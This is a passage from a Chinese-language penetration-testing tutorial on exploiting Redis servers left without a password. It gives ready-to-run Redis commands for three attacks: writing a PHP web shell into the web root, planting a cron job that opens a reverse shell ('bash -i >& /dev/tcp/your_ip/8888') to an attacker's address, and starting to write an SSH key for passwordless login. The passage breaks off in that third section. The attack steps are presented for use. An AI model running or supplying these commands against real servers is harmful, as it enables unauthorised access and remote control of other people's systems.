1、Redis
1.1 背景
在内网渗透中,设置为空口令或者弱口令的Redis大量存在,以此为跳板,或许能有收获。
Redis 是一个高性能的key-value数据库,Redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步,从服务器可以是关联其他从服务器的主服务器。简而言之,Redis可以提供高效率的数据查询服务。
1.2 漏洞利用思路
Redis本身漏洞较少,它主要存在的漏洞还是未授权访问漏洞,总共有三种主流的提权方式,这里分别进行讲解。
1.2.1 直接写getshell
# 设置文件路径,示例为网站根目录
config set dir /var/www/html/
# 设置备份文件名,即木马名称,可以通过http://target_ip/phpinfo.php访问
config set dbfilename phpinfo.php
# 向数据库插入payload
set payload "<?php phpinfo(); ?>"
# 保存数据库到备份文件(木马)
save
1.2.2 设置定时任务
何为定时任务,linux系统中,crontab程序允许你设置一个类似闹钟的程序,定时启动。
比如,某系统每日零点需要从另一个系统获取数据,或需要在凌晨对本身的数据库表进行按日分库分表,即可以通过定时任务实现。
1.设置文件名和路径(这个因系统不同而路径不同)
config set dir /var/spool/cron/crontabs
config set dbfilename timeAttack
2.插入定时任务
set payload "* * * * * bash -i >& /dev/tcp/your_ip/8888 0>&1"
3.保存
save
1.2.3 写ssh公钥
通过ssh方式登录linux系统,相信大家都不陌生。在ssh登录时,常常需要输入密码:
如果向服务器写入自己的公钥,则可以免密进行ssh登录,该过程较为复杂,通过实践来帮助大家理解。